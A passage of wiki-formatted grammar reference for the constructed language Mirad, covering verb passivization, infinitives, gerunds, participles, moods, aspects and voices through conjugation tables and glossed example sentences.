:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
